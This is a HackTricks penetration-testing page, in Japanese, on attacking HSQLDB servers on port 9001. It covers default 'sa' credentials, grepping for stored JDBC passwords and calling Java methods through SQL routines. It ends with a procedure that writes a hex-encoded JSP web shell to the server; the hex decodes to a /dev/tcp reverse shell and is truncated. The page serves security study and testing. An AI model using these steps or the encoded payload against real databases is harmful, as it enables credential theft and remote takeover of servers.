hacktricks/network-services-pentesting/9001-pentesting-hsqldb.md
2023-07-07 23:42:27 +00:00

7.3 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

基本情報

HSQLDBHyperSQL DataBaseは、Javaで書かれた主要なSQLリレーショナルデータベースシステムです。これは、インメモリおよびディスクベースのテーブルをサポートし、埋め込みモードとサーバーモードをサポートする、小さくて高速なマルチスレッドおよびトランザクションデータベースエンジンを提供します。

デフォルトポート: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

情報

デフォルト設定

デフォルトでは、このサービスはおそらくメモリ内で実行されているか、localhostにバインドされています。もし見つけた場合、おそらく他のサービスを攻撃し、特権をエスカレーションさせるために探しているでしょう。

デフォルトの資格情報は通常、空のパスワードでsaです。

他のサービスを攻撃した場合、可能な資格情報を検索してください。

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

注意してデータベース名を確認してください - 接続するために必要です。

情報収集

HSQLDBをダウンロードし、hsqldb/lib/hsqldb.jarを展開してDBインスタンスに接続します。GUIアプリうわっjava -jar hsqldb.jarを使用して実行し、発見した/弱い認証情報を使用してインスタンスに接続します。

リモートシステムの場合、接続URLは次のようになりますjdbc:hsqldb:hsql://ip/DBNAME

テクニック

Java言語ルーチン

Java言語ルーチンを使用して、HSQLDBからJavaクラスの静的メソッドを呼び出すことができます。ただし、呼び出されるクラスはアプリケーションのクラスパスにある必要があります。

JRTは関数または手続きになります。関数は、Javaメソッドが1つ以上のSQL互換のプリミティブ変数を返す場合、SQLステートメントを介して呼び出すことができます。VALUESステートメントを使用して呼び出されます。

Javaメソッドがvoidを返す場合は、CALLステートメントを使用して呼び出す必要があります。

Javaシステムプロパティの読み取り

関数を作成します:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

実行関数:

VALUES(getsystemproperty('user.name'))

ここでシステムプロパティのリストを見つけることができます。

ファイルへのコンテンツの書き込み

JDKにあるcom.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilenameというJavaガジェットを使用して、カスタム手順を介してヘックスエンコードされたアイテムをディスクに書き込むことができます。ただし、最大サイズは1024バイトです。

手順の作成:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

手順の実行:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥